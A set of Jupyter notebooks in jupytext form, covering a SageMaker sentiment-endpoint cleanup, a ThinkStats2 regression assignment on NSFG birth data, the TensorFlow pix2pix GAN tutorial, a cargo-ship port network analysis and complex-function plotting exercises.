data = ["this movie was extremely good .",
"the plot was very boring .",
"this film is so slick , superficial and trend-hoppy .",
"i just could not watch it till the end .",
"the movie was so enthralling !"]
response = predictor.predict(data)
print response
# -
# ## Cleanup
#
# After you have finished with this example, remember to delete the prediction endpoint to release the instance(s) associated with it.
sagemaker.Session().delete_endpoint(predictor.endpoint)
| sagemaker-python-sdk/mxnet_gluon_sentiment/mxnet_sentiment_analysis_with_gluon.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] tags=[]
# # <span style="color:#bcff8f"> Week 9 Assignment</span>
#
# <span style="font-size:12pt;color:gray;font-weight:bold"> <NAME></span><br>
#
# <span style="font-size:16pt">Regression</span>
#
# ***
# http://thinkstats2.com
#
# Copyright 2016 <NAME>
#
# MIT License: https://opensource.org/licenses/MIT
#
# ***
#
# <br>
# -
# ## Importing packages
# +
import os
# changing working directory to ThinkStats2/code folder
path = os.path.expanduser('~') + '\\OneDrive - Bellevue University\\Bellevue_University\\DSC 530 - Data Exploration and Analysis\\ThinkStats2\\code'
os.chdir(path)
# %matplotlib inline
import thinkstats2 as ts2
import thinkplot as tp
import nsfg
import brfss
import random
import seaborn as sns
import matplotlib.pyplot as plt
import numpy as np
import bisect
import scipy as sp
from matplotlib.offsetbox import (AnchoredOffsetbox, TextArea)
import math
import first
from sklearn import linear_model as skl_lm
import pandas as pd
import statsmodels.formula.api as smf
# -
# <br><br>
#
# ## Custom Functions/Classes
def lm_var_mining(df, outcome_var, top_n=None):
t = []
for name in df.columns:
try:
if df[name].var() < 1e-7: # if no variability then unreliable
continue
formula = f"{outcome_var} ~ {name}"
model = smf.ols(formula, data=df)
if model.nobs < len(df)/2: # disregard variables where # of NULLs is greater than half the length of the dataframe
continue
results = model.fit()
except (ValueError, TypeError):
continue
t.append((results.rsquared, name))
t.sort(reverse=True)
return t[:top_n]
# <br><br>
#
# ## 11-1
#
# Suppose one of your co-workers is expecting a baby and you are participating in an office pool to predict the date of birth. Assuming that bets are placed during the 30th week of pregnancy, what variables could you use to make the best prediction? You should limit yourself to variables that are known before the birth, and likely to be available to the people in the pool.
#
live, firsts, others = first.MakeFrames()
live = live[live.prglngth>30]
# +
## data mining to find relative variables
r_squared_var_list = lm_var_mining(df=live, outcome_var='prglngth')
## fit model to variables
model = smf.ols('prglngth ~ birthord==1 + race==2 + nbrnaliv>1', data=live)
results = model.fit()
results.summary()
# -
# <br><br>
#
# ## 11-3
#
# If the quantity you want to predict is a count, you can use Poisson regression, which is implemented in StatsModels with a function called poisson. It works the same way as ols and logit. As an exercise, let’s use it to predict how many children a woman has born; in the NSFG dataset, this variable is called numbabes. Suppose you meet a woman who is 35 years old, black, and a college graduate whose annual household income exceeds $75,000. How many children would you predict she has born?
#
# +
# Solution
live, firsts, others = first.MakeFrames()
resp = nsfg.ReadFemResp()
resp.index = resp.caseid
join = live.join(resp, on='caseid', rsuffix='_r')
# I used a nonlinear model of age.
join.numbabes.replace([97], np.nan, inplace=True)
join['age2'] = join.age_r**2
# +
formula='numbabes ~ age_r + age2 + C(race) + totincr + educat'
model = smf.poisson(formula, data=join)
results = model.fit()
results.summary()
# -
## using model predictions for scenario
columns = ['age_r', 'age2', 'age3', 'race', 'totincr', 'educat']
new = pd.DataFrame([[35, 35**2, 35**3, 1, 14, 16]], columns=columns)
results.predict(new)
# <br><br>
#
# ## 11-4
#
# If the quantity you want to predict is categorical, you can use multinomial logistic regression, which is implemented in StatsModels with a function called mnlogit. As an exercise, let’s use it to guess whether a woman is married, cohabitating, widowed, divorced, separated, or never married; in the NSFG dataset, marital status is encoded in a variable called rmarital. Suppose you meet a woman who is 25 years old, white, and a high school graduate whose annual household income is about $45,000. What is the probability that she is married, cohabitating, etc?
#
# +
# Solution
# Here's the best model I could find.
formula='rmarital ~ age_r + age2 + C(race) + totincr + educat'
model = smf.mnlogit(formula, data=join)
results = model.fit()
results.summary()
# -
# Make a prediction for a woman who is 25 years old, white, and a high
# school graduate whose annual household income is about $45,000.
# +
# Solution
# This person has a 75% chance of being currently married,
# a 13% chance of being "not married but living with opposite
# sex partner", etc.
age = 25
columns = ['age_r', 'age2', 'race', 'totincr', 'educat']
new = pd.DataFrame([[age, age**2, 2, 11, 12]], columns=columns)
results.predict(new)
# -
# <br><br>
#
# ***
# ***
#
# ## Chapter Practice
# <span style="font-size:18px">$y=\beta_0+\beta_{i}x_{i}+e$</span>
#
# <br>
#
# $\beta_0=intercept$<br>
# $\beta_i=parameter\ associated\ with\ x_i$<br>
# $e=residual\ due\ to\ random\ variation$
#
# <br>
#
# <u>Simple regression</u>: 1 explanatory variable
#
# <u>Multiple regression</u>: more than 1 explantory variable
#
# Goal is to find parameters for all of the variables that minimize $e^2$.
import statsmodels.formula.api as smf
live, firsts, others = first.MakeFrames()
# +
formula = 'totalwgt_lb ~ agepreg'
model = smf.ols(formula, data=live) # ols stands for Ordinary Least Squares
results = model.fit()
results.summary()
# -
# <br><br>
#
# First babies tend to be lighter than others but is strange because there is no obvious mechanism that would cause first babies to be lighter. However, there is a possible explanation. Birth weight appears to be dependant on mother age and mothers age might be less when you're having your first child vs. subsequent children. Although obvious, we can test this theory.
# +
## calculate weight means for firsts vs. others
diff_weight = firsts.agepreg.mean() - others.totalwgt_lb.mean()
## calculate age mean for firsts vs. others
diff_age = firsts.agepreg.mean() - others.agepreg.mean()
diff_weight, diff_age
# -
## regression analysis
results = smf.ols('totalwgt_lb ~ agepreg', data=live).fit()
slope = results.params['agepreg']
slope, slope*diff_age
# +
## multiple regression analysis
live['isfirst'] = live.birthord == 1
live['agepreg2'] = live.agepreg**2
formula = 'totalwgt_lb ~ isfirst + agepreg'
results = smf.ols(formula, data=live).fit()
results.summary()
# -
# <br><br>
#
# Data Mining for best variables
# +
## join data together
live = live[live.prglngth > 30]
resp = nsfg.ReadFemResp()
resp.index = resp.caseid
join = live.join(resp, on='caseid', rsuffix='_r')
# +
t = []
for name in join.columns:
try:
if join[name].var() < 1e-7: # if no variability then unreliable
continue
formula = f"totalwgt_lb ~ agepreg + {name}"
model = smf.ols(formula, data=join)
if model.nobs < len(join)/2: # disregard variables where # of NULLs is greater than half the length of the dataframe
continue
results = model.fit()
except (ValueError, TypeError):
continue
t.append((results.rsquared, name))
t.sort(reverse=True)
for mse, name in t[:30]:
print(name, mse)
# -
# <br><br>
#
# ## Logistic Regression
#
# Similar to linear regression but outcome is expressed in odds.
#
# <span style="font-size:18px">$log(odds)=\beta_0+\beta_{i}x_{i}+e$</span>
# +
live, firsts, others = first.MakeFrames()
df1 = live[live.prglngth > 30]
df1['boy'] = (df1.loc[:]['babysex']==1).astype(int)
model = smf.logit('boy ~ agepreg',data=df1)
results = model.fit()
results.summary()
# -
# <br><br>
#
# Model accuracy
# +
endog = pd.DataFrame(model.endog, columns=[model.endog_names]) # endog (aka endogenous) = outcome variable
exog = pd.DataFrame(model.exog, columns=[model.exog_names]) # exog (aka exogenous) = predictor variables
actual = endog['boy']
baseline = actual.mean() # fraction of 1s vs 1s+0s
predict = (results.predict() >= 0.5) # instances where prediction >= 0.5
true_pos = predict * actual
true_neg = (1-predict)*(1-actual)
acc = (sum(true_pos) + sum(true_neg) / len(actual))
acc
| DSC 530 - Data Exploration and Analysis/Assignments/Week 9/Week 9 - Regression.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# + [markdown] colab_type="text" id="view-in-github"
# <a href="https://colab.research.google.com/github/tjwei/GAN_Tutorial/blob/master/pix2pix_eager.ipynb" target="_parent"><img src="https://colab.research.google.com/assets/colab-badge.svg" alt="Open In Colab"/></a>
# + [markdown] colab_type="text" id="0TD5ZrvEMbhZ"
# ##### Copyright 2018 The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License").
#
# # Pix2Pix: An example with tf.keras and eager
#
#
# + [markdown] colab_type="text" id="e1_Y75QXJS6h"
# ## Import TensorFlow and enable eager execution
# + colab={} colab_type="code" id="YfIk2es3hJEd"
import tensorflow as tf
import os
import time
import numpy as np
import matplotlib.pyplot as plt
import PIL
from IPython.display import clear_output, display
# + [markdown] colab_type="text" id="iYn4MdZnKCey"
# ## Load the dataset
#
# You can download this dataset and similar datasets from [here](https://people.eecs.berkeley.edu/~tinghuiz/projects/pix2pix/datasets). As mentioned in the [paper](https://arxiv.org/abs/1611.07004) we apply random jittering and mirroring to the training dataset.
# * In random jittering, the image is resized to `286 x 286` and then randomly cropped to `256 x 256`
# * In random mirroring, the image is randomly flipped horizontally i.e left to right.
# + colab={} colab_type="code" id="Kn-k8kTXuAlv"
path_to_zip = tf.keras.utils.get_file('facades.tar.gz',
cache_subdir=os.path.abspath('.'),
origin='https://people.eecs.berkeley.edu/~tinghuiz/projects/pix2pix/datasets/facades.tar.gz',
extract=True)
PATH = os.path.join(os.path.dirname(path_to_zip), 'facades/')
# + colab={} colab_type="code" id="2CbTEt448b4R"
BUFFER_SIZE = 400
BATCH_SIZE = 1
IMG_WIDTH = 256
IMG_HEIGHT = 256
# + colab={} colab_type="code" id="tyaP4hLJ8b4W"
def load_image(image_file, is_train):
image = tf.io.read_file(image_file)
image = tf.image.decode_jpeg(image)
w = tf.shape(image)[1]
w = w // 2
real_image = image[:, :w, :]
input_image = image[:, w:, :]
input_image = tf.cast(input_image, tf.float32)
real_image = tf.cast(real_image, tf.float32)
if is_train:
# random jittering
# resizing to 286 x 286 x 3
input_image = tf.image.resize(input_image, [286, 286])
real_image = tf.image.resize(real_image, [286, 286])
# randomly cropping to 256 x 256 x 3
stacked_image = tf.stack([input_image, real_image], axis=0)
cropped_image = tf.image.random_crop(stacked_image, size=[2, IMG_HEIGHT, IMG_WIDTH, 3])
input_image, real_image = cropped_image[0], cropped_image[1]
if np.random.random() > 0.5:
# random mirroring
input_image = tf.image.flip_left_right(input_image)
real_image = tf.image.flip_left_right(real_image)
else:
input_image = tf.image.resize(input_image, size=[IMG_HEIGHT, IMG_WIDTH])
real_image = tf.image.resize(real_image, size=[IMG_HEIGHT, IMG_WIDTH])
# normalizing the images to [-1, 1]
input_image = (input_image / 127.5) - 1
real_image = (real_image / 127.5) - 1
return input_image, real_image
# + [markdown] colab_type="text" id="PIGN6ouoQxt3"
# ## Use tf.data to create batches, map(do preprocessing) and shuffle the dataset
# + colab={} colab_type="code" id="SQHmYSmk8b4b"
train_dataset = tf.data.Dataset.list_files(PATH+'train/*.jpg')
train_dataset = train_dataset.shuffle(BUFFER_SIZE)
train_dataset = train_dataset.map(lambda x: load_image(x, True))
train_dataset = train_dataset.batch(1)
# + colab={} colab_type="code" id="MS9J0yA58b4g"
test_dataset = tf.data.Dataset.list_files(PATH+'test/*.jpg')
test_dataset = test_dataset.map(lambda x: load_image(x, False))
test_dataset = test_dataset.batch(1)
# + [markdown] colab_type="text" id="THY-sZMiQ4UV"
# ## Write the generator and discriminator models
#
# * **Generator**
# * The architecture of generator is a modified U-Net.
# * Each block in the encoder is (Conv -> Batchnorm -> Leaky ReLU)
# * Each block in the decoder is (Transposed Conv -> Batchnorm -> Dropout(applied to the first 3 blocks) -> ReLU)
# * There are skip connections between the encoder and decoder (as in U-Net).
#
# * **Discriminator**
# * The Discriminator is a PatchGAN.
# * Each block in the discriminator is (Conv -> BatchNorm -> Leaky ReLU)
# * The shape of the output after the last layer is (batch_size, 30, 30, 1)
# * Each 30x30 patch of the output classifies a 70x70 portion of the input image (such an architecture is called a PatchGAN).
# * Discriminator receives 2 inputs.
# * Input image and the target image, which it should classify as real.
# * Input image and the generated image (output of generator), which it should classify as fake.
# * We concatenate these 2 inputs together in the code (`tf.concat([inp, tar], axis=-1)`)
#
# * Shape of the input travelling through the generator and the discriminator is in the comments in the code.
#
# To learn more about the architecture and the hyperparameters you can refer the [paper](https://arxiv.org/abs/1611.07004).
#
# + colab={} colab_type="code" id="tqqvWxlw8b4l"
OUTPUT_CHANNELS = 3
# + colab={} colab_type="code" id="lFPI4Nu-8b4q"
class Downsample(tf.keras.Model):
def __init__(self, filters, size, apply_batchnorm=True):
super(Downsample, self).__init__()
self.apply_batchnorm = apply_batchnorm
initializer = tf.random_normal_initializer(0., 0.02)
self.conv1 = tf.keras.layers.Conv2D(filters,
(size, size),
strides=2,
padding='same',
kernel_initializer=initializer,
use_bias=False)
if self.apply_batchnorm:
self.batchnorm = tf.keras.layers.BatchNormalization()
def call(self, x, training):
x = self.conv1(x)
if self.apply_batchnorm:
x = self.batchnorm(x, training=training)
x = tf.nn.leaky_relu(x)
return x
class Upsample(tf.keras.Model):
def __init__(self, filters, size, apply_dropout=False):
super(Upsample, self).__init__()
self.apply_dropout = apply_dropout
initializer = tf.random_normal_initializer(0., 0.02)
self.up_conv = tf.keras.layers.Conv2DTranspose(filters,
(size, size),
strides=2,
padding='same',
kernel_initializer=initializer,
use_bias=False)
self.batchnorm = tf.keras.layers.BatchNormalization()
if self.apply_dropout:
self.dropout = tf.keras.layers.Dropout(0.5)
def call(self, x1, x2, training):
x = self.up_conv(x1)
x = self.batchnorm(x, training=training)
if self.apply_dropout:
x = self.dropout(x, training=training)
x = tf.nn.relu(x)
x = tf.concat([x, x2], axis=-1)
return x
class Generator(tf.keras.Model):
def __init__(self):
super(Generator, self).__init__()
initializer = tf.random_normal_initializer(0., 0.02)
self.down1 = Downsample(64, 4, apply_batchnorm=False)
self.down2 = Downsample(128, 4)
self.down3 = Downsample(256, 4)
self.down4 = Downsample(512, 4)
self.down5 = Downsample(512, 4)
self.down6 = Downsample(512, 4)
self.down7 = Downsample(512, 4)
self.down8 = Downsample(512, 4)
self.up1 = Upsample(512, 4, apply_dropout=True)
self.up2 = Upsample(512, 4, apply_dropout=True)
self.up3 = Upsample(512, 4, apply_dropout=True)
self.up4 = Upsample(512, 4)
self.up5 = Upsample(256, 4)
self.up6 = Upsample(128, 4)
self.up7 = Upsample(64, 4)
self.last = tf.keras.layers.Conv2DTranspose(OUTPUT_CHANNELS,
(4, 4),
strides=2,
padding='same',
kernel_initializer=initializer)
@tf.function
def call(self, x, training):
# x shape == (bs, 256, 256, 3)
x1 = self.down1(x, training=training) # (bs, 128, 128, 64)
x2 = self.down2(x1, training=training) # (bs, 64, 64, 128)
x3 = self.down3(x2, training=training) # (bs, 32, 32, 256)
x4 = self.down4(x3, training=training) # (bs, 16, 16, 512)
x5 = self.down5(x4, training=training) # (bs, 8, 8, 512)
x6 = self.down6(x5, training=training) # (bs, 4, 4, 512)
x7 = self.down7(x6, training=training) # (bs, 2, 2, 512)
x8 = self.down8(x7, training=training) # (bs, 1, 1, 512)
x9 = self.up1(x8, x7, training=training) # (bs, 2, 2, 1024)
x10 = self.up2(x9, x6, training=training) # (bs, 4, 4, 1024)
x11 = self.up3(x10, x5, training=training) # (bs, 8, 8, 1024)
x12 = self.up4(x11, x4, training=training) # (bs, 16, 16, 1024)
x13 = self.up5(x12, x3, training=training) # (bs, 32, 32, 512)
x14 = self.up6(x13, x2, training=training) # (bs, 64, 64, 256)
x15 = self.up7(x14, x1, training=training) # (bs, 128, 128, 128)
x16 = self.last(x15) # (bs, 256, 256, 3)
x16 = tf.nn.tanh(x16)
return x16
# + colab={} colab_type="code" id="ll6aNeQx8b4v"
class DiscDownsample(tf.keras.Model):
def __init__(self, filters, size, apply_batchnorm=True):
super(DiscDownsample, self).__init__()
self.apply_batchnorm = apply_batchnorm
initializer = tf.random_normal_initializer(0., 0.02)
self.conv1 = tf.keras.layers.Conv2D(filters,
(size, size),
strides=2,
padding='same',
kernel_initializer=initializer,
use_bias=False)
if self.apply_batchnorm:
self.batchnorm = tf.keras.layers.BatchNormalization()
def call(self, x, training):
x = self.conv1(x)
if self.apply_batchnorm:
x = self.batchnorm(x, training=training)
x = tf.nn.leaky_relu(x)
return x
class Discriminator(tf.keras.Model):
def __init__(self):
super(Discriminator, self).__init__()
initializer = tf.random_normal_initializer(0., 0.02)
self.down1 = DiscDownsample(64, 4, False)
self.down2 = DiscDownsample(128, 4)
self.down3 = DiscDownsample(256, 4)
# we are zero padding here with 1 because we need our shape to
# go from (batch_size, 32, 32, 256) to (batch_size, 31, 31, 512)
self.zero_pad1 = tf.keras.layers.ZeroPadding2D()
self.conv = tf.keras.layers.Conv2D(512,
(4, 4),
strides=1,
kernel_initializer=initializer,
use_bias=False)
self.batchnorm1 = tf.keras.layers.BatchNormalization()
# shape change from (batch_size, 31, 31, 512) to (batch_size, 30, 30, 1)
self.zero_pad2 = tf.keras.layers.ZeroPadding2D()
self.last = tf.keras.layers.Conv2D(1,
(4, 4),
strides=1,
kernel_initializer=initializer)
@tf.function
def call(self, inp, tar, training):
# concatenating the input and the target
x = tf.concat([inp, tar], axis=-1) # (bs, 256, 256, channels*2)
x = self.down1(x, training=training) # (bs, 128, 128, 64)
x = self.down2(x, training=training) # (bs, 64, 64, 128)
x = self.down3(x, training=training) # (bs, 32, 32, 256)
x = self.zero_pad1(x) # (bs, 34, 34, 256)
x = self.conv(x) # (bs, 31, 31, 512)
x = self.batchnorm1(x, training=training)
x = tf.nn.leaky_relu(x)
x = self.zero_pad2(x) # (bs, 33, 33, 512)
# don't add a sigmoid activation here since
# the loss function expects raw logits.
x = self.last(x) # (bs, 30, 30, 1)
return x
# + colab={} colab_type="code" id="gDkA05NE6QMs"
# The call function of Generator and Discriminator have been decorated
# with tf.contrib.eager.defun()
# We get a performance speedup if defun is used (~25 seconds per epoch)
generator = Generator()
discriminator = Discriminator()
# + [markdown] colab_type="text" id="0FMYgY_mPfTi"
# ## Define the loss functions and the optimizer
#
# * **Discriminator loss**
# * The discriminator loss function takes 2 inputs; **real images, generated images**
# * real_loss is a sigmoid cross entropy loss of the **real images** and an **array of ones(since these are the real images)**
# * generated_loss is a sigmoid cross entropy loss of the **generated images** and an **array of zeros(since these are the fake images)**
# * Then the total_loss is the sum of real_loss and the generated_loss
#
# * **Generator loss**
# * It is a sigmoid cross entropy loss of the generated images and an **array of ones**.
# * The [paper](https://arxiv.org/abs/1611.07004) also includes L1 loss which is MAE (mean absolute error) between the generated image and the target image.
# * This allows the generated image to become structurally similar to the target image.
# * The formula to calculate the total generator loss = gan_loss + LAMBDA * l1_loss, where LAMBDA = 100. This value was decided by the authors of the [paper](https://arxiv.org/abs/1611.07004).
# + colab={} colab_type="code" id="cyhxTuvJyIHV"
LAMBDA = 100
# + colab={} colab_type="code" id="wkMNfBWlT-PV"
BCE = tf.keras.losses.BinaryCrossentropy(from_logits=True)
CCE = tf.keras.losses.CategoricalCrossentropy(from_logits=True)
def discriminator_loss(disc_real_output, disc_generated_output):
real_loss = BCE(tf.ones_like(disc_real_output), disc_real_output)
generated_loss = BCE(tf.zeros_like(disc_generated_output), disc_generated_output)
total_disc_loss = real_loss + generated_loss
return total_disc_loss
# + colab={} colab_type="code" id="90BIcCKcDMxz"
def generator_loss(disc_generated_output, gen_output, target):
gan_loss = BCE(tf.ones_like(disc_generated_output), disc_generated_output)
# mean absolute error
l1_loss = tf.reduce_mean(tf.abs(target - gen_output))
total_gen_loss = gan_loss + (LAMBDA * l1_loss)
return total_gen_loss
# + colab={} colab_type="code" id="iWCn_PVdEJZ7"
generator_optimizer = tf.keras.optimizers.Adam(2e-4, beta_1=0.5)
discriminator_optimizer = tf.keras.optimizers.Adam(2e-4, beta_1=0.5)
# + [markdown] colab_type="text" id="Rw1fkAczTQYh"
# ## Training
#
# * We start by iterating over the dataset
# * The generator gets the input image and we get a generated output.
# * The discriminator receives the input_image and the generated image as the first input. The second input is the input_image and the target_image.
# * Next, we calculate the generator and the discriminator loss.
# * Then, we calculate the gradients of loss with respect to both the generator and the discriminator variables(inputs) and apply those to the optimizer.
#
# ## Generate Images
#
# * After training, its time to generate some images!
# * We pass images from the test dataset to the generator.
# * The generator will then translate the input image into the output we expect.
# * Last step is to plot the predictions and **voila!**
# + colab={} colab_type="code" id="NS2GWywBbAWo"
EPOCHS = 200
# + colab={} colab_type="code" id="RmdVsmvhPxyy"
def generate_images(model, test_input, tar):
# the training=True is intentional here since
# we want the batch statistics while running the model
# on the test dataset. If we use training=False, we will get
# the accumulated statistics learned from the training dataset
# (which we don't want)
prediction = model(test_input, training=True)
plt.figure(figsize=(15,15))
display_list = [test_input[0], tar[0], prediction[0]]
title = ['Input Image', 'Ground Truth', 'Predicted Image']
for i in range(3):
plt.subplot(1, 3, i+1)
plt.title(title[i])
# getting the pixel values between [0, 1] to plot it.
plt.imshow(display_list[i] * 0.5 + 0.5)
plt.axis('off')
plt.show()
# + colab={} colab_type="code" id="2M7LmLtGEMQJ"
def train(dataset, epochs):
for epoch in range(epochs):
start = time.time()
for input_image, target in dataset:
with tf.GradientTape() as gen_tape, tf.GradientTape() as disc_tape:
gen_output = generator(input_image, training=True)
disc_real_output = discriminator(input_image, target, training=True)
disc_generated_output = discriminator(input_image, gen_output, training=True)
gen_loss = generator_loss(disc_generated_output, gen_output, target)
disc_loss = discriminator_loss(disc_real_output, disc_generated_output)
generator_gradients = gen_tape.gradient(gen_loss,
generator.trainable_variables)
discriminator_gradients = disc_tape.gradient(disc_loss,
discriminator.trainable_variables)
generator_optimizer.apply_gradients(zip(generator_gradients,
generator.trainable_variables))
discriminator_optimizer.apply_gradients(zip(discriminator_gradients,
discriminator.trainable_variables))
if epoch % 1 == 0:
for inp, tar in test_dataset.take(3):
generate_images(generator, inp, tar)
print ('Time taken for epoch {} is {} sec\n'.format(epoch + 1,
time.time()-start))
# + colab={} colab_type="code" id="a1zZmKmvOH85"
train(train_dataset, EPOCHS)
# + [markdown] colab_type="text" id="1RGysMU_BZhx"
# ## Testing on the entire test dataset
# + colab={} colab_type="code" id="KUgSnmy2nqSP"
# Run the trained model on the entire test dataset
for inp, tar in test_dataset:
generate_images(generator, inp, tar)
# + colab={} colab_type="code" id="3AJXOByaZVOf"
| pix2pix.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3 (ipykernel)
# language: python
# name: python3
# ---
# + tags=[]
import os
import contextily as cx
from IPython.display import display
from matplotlib import cm
from matplotlib.colors import Normalize
from matplotlib.ticker import MultipleLocator
import matplotlib.pyplot as plt
import networkx as nx
import numpy as np
import pandas as pd
from src import largest_strongly_connected_component
from run import filepath_network, filepath_un_locode_cleaned, filepath_ships_classification, filepath_portcalls_processed
# -
# # Mobility network
# + tags=[]
G = nx.read_gpickle(filepath_network)
Gc = largest_strongly_connected_component(G)
un_locode = pd.read_pickle(filepath_un_locode_cleaned)
# -
# ## Figure
# ### Obtain UNLOCODE
# + tags=[]
def get_strength(x):
return [Gc.degree(node) for node in x.index]
nodes = (
un_locode
.drop_duplicates(subset='label')
.set_index('label')
.loc[lambda x: x.index.isin(Gc)]
.assign(strength=get_strength)
.loc[lambda x: x.strength > 10]
)
nodes
# -
# ### Select edges with known location
# + tags=[]
def select_only_edges_with_location(x):
values = nodes.index
return x['source'].isin(values) & x['target'].isin(values)
selected_edges = (
nx.to_pandas_edgelist(Gc)
.loc[select_only_edges_with_location]
.value_counts()
.reset_index()
.rename(columns={0:'weight'})
)
selected_edges
# -
# ### Plot
# + tags=[]
rasterized = False
cmap = cm.get_cmap('viridis')
colors = [cmap(i/5, alpha=i/5) for i in nodes.strength]
xs_strong = list()
ys_strong = list()
xs_weak = list()
ys_weak = list()
for edge in selected_edges.itertuples():
source_location = nodes.loc[edge.source]
target_location = nodes.loc[edge.target]
if edge.weight > 100:
xs_strong.append((source_location.x, target_location.x))
ys_strong.append((source_location.y, target_location.y))
elif edge.weight > 10:
xs_weak.append((source_location.x, target_location.x))
ys_weak.append((source_location.y, target_location.y))
with plt.rc_context({'font.size': 8}):
fig, ax = plt.subplots(figsize=(4.82,3.21), constrained_layout=True)
ax.plot(xs_strong, ys_strong, color='darkblue', alpha=.2, lw=1, rasterized=rasterized)
ax.plot(xs_weak, ys_weak, color='darkblue', alpha=.1, lw=.5, rasterized=rasterized)
ax.scatter(x=nodes.x, y=nodes.y, c=np.log10(nodes.strength), s=np.log10(nodes.strength)*10, cmap='viridis', norm=Normalize(0, 5), alpha=1)
fig.colorbar(cm.ScalarMappable(norm=Normalize(0, 5), cmap='viridis'), ax=ax, shrink=0.80, label=r'$\log(\mathrm{node}\ \mathrm{strength})$')
ax.xaxis.set_ticks_position('both')
ax.xaxis.set_minor_locator(MultipleLocator(1))
ax.yaxis.set_ticks_position('both')
ax.yaxis.set_minor_locator(MultipleLocator(1))
ax.set_xlim(-30, 40)
ax.set_ylim(25, 70)
ax.set_xlabel('Longitude')
ax.set_ylabel('Latitude')
cx.add_basemap(ax, crs='WGS84', zoom=3, interpolation='none', source=cx.providers.CartoDB.Voyager, attribution=False)
fig.savefig('fig/network.pdf')
# -
# ## Stats
# ### Calculate distance distribution
# + tags=[]
# !printf '%s\n' 'load_undirected cache/network.edges' 'dist_distri' > "cache/input.txt"
nx.write_edgelist(nx.convert_node_labels_to_integers(nx.Graph(Gc)), 'cache/network.edges', data=False)
# ! /data/bruingjde/teexgraph/teexgraph < cache/input.txt > cache/output.txt
output_teexgraph = pd.read_csv('cache/output.txt', sep='\t', names=['distance', 'counts'])
os.remove('cache/network.edges')
os.remove('cache/input.txt')
os.remove('cache/output.txt')
output_teexgraph
# -
# ### Missing ports
# + tags=[]
ships_classification = np.load(filepath_ships_classification)
portcalls_processed = pd.read_pickle(filepath_portcalls_processed)
portcalls_classification = portcalls_processed.loc[lambda x: x['ship'].isin(ships_classification)]
ports_ml = portcalls_classification['port'].unique()
observed = [port in Gc for port in ports_ml]
result = np.bincount(observed)
message = "Ports in ML observed in weakly connected component of cargo ship network"
print(f"{message}: {result} (no/yes)")
print(f"{result/len(observed)}")
# -
# ### Summary
# + tags=[]
{
'number of nodes': G.number_of_nodes(),
'number of nodes in GC': Gc.number_of_nodes(),
'number of edges': nx.Graph(G).number_of_edges(),
'fraction of edges in GC': nx.Graph(Gc).number_of_edges(),
'density': nx.density(nx.Graph(Gc)),
'diameter': output_teexgraph['distance'].max(),
'average distance': np.average(output_teexgraph['distance'], weights=output_teexgraph['counts']),
'clustering coefficient': nx.average_clustering(nx.Graph(Gc)),
'degree assortativity': nx.degree_assortativity_coefficient(nx.Graph(Gc)),
'strength assortativity': nx.degree_assortativity_coefficient(Gc)
}
# + tags=[]
sorted(list(G.degree(weight='weight')), key=lambda x: x[1], reverse=True)
# -
| 02-network.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 2
# language: python
# name: python2
# ---
# #Complex Plots
#Imports
% matplotlib inline
import numpy as np
from matplotlib import pyplot as plt
# Complex plot of the angle
def plot_complex(p, xbounds=(-1, 1), ybounds=(-1, 1), res=401, title=""):
x = np.linspace(xbounds[0], xbounds[1], res)
y = np.linspace(ybounds[0], ybounds[1], res)
X,Y = np.meshgrid(x, y)
Z = p(X+Y*1j)
plt.pcolormesh(X,Y, np.angle(Z), cmap='hsv',vmin=-np.pi, vmax=np.pi)
plt.xlim(xbounds)
plt.ylim(ybounds)
plt.title(title)
plt.show()
# Here's the identity plot.
plot_complex(lambda z:z,title="Identity function")
# Complex plot of the magnitude
def plot_complex_magnitude(p, xbounds=(-1, 1), ybounds=(-1, 1), res=401, title=""):
x = np.linspace(xbounds[0], xbounds[1], res)
y = np.linspace(ybounds[0], ybounds[1], res)
X,Y = np.meshgrid(x, y)
Z = p(X+Y*1j)
plt.pcolormesh(X,Y, np.absolute(Z), cmap='YlGnBu_r')
plt.colorbar()
plt.xlim(xbounds)
plt.ylim(ybounds)
plt.show()
# ##Problem 1
# To test our complex plotting code, we plot the function $f(z) = \sqrt{z^2 + 1}$ on the domain $\{x+iy \mid x \in [-3,3] , \; y \in [-3,3]\}$.
f1 = lambda z: np.sqrt(z**2 + 1)
plot_complex(f1,(-3,3),(-3,3))
# ##Problem 2
# Again we plot the $f(z) = \sqrt{z^2 + 1}$ as in Problem 1, but we plot the magnitude instead of the angle. Note that while discontinuities are clearly visible when plotting the angle, they disappear in a plot of the magnitude.
f1 = lambda z: np.sqrt(z**2 + 1)
plot_complex_r(f1,(-3,3),(-3,3))
# ##Problem 3
# Complex plots of $z^2$, $z^3$, and $z^4$:
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**2, title=r"$z^2$")
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**3, title=r"$z^3$")
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**4, title=r"$z^4$")
# We can see that the colors cycle $n$ times counterclockwise around the origin in a plot of $z^n$. Below is a plot of the function $f(z) = z^3 - iz^4 - 3z^6$.
f3 = lambda z: z**3 - 1j*z**4 - 3*z**6
plot_complex(f3)
# ##Problem 4
# Behold! In this plot of $f(z) = \frac{1}{z}$, the colors cycle clockwise instead of counterclockwise.
plot_complex(lambda z:1./z,res=400) #changed res to avoid division-by-zero error
# The following are the plots in part 2 of the problem. Just as with zeros, we can visually estimate the poles and their order by looking at points where the colors cycle clockwise.
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**-2, title=r"$z^{-2}$",res=400)
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**-3, title=r"$z^{-2}$",res=400)
plt.figure(figsize=(3,3))
plot_complex(lambda z:z**2 + 1j*z**-1 + z**-3, title=r"$z^2 + iz^{-1} + z^{-3}$",res=400)
# #Problem 5
# The following plot is of $f(z) = e^z$. It has no zeros or poles anywhere in $\mathbb{C}$.
#
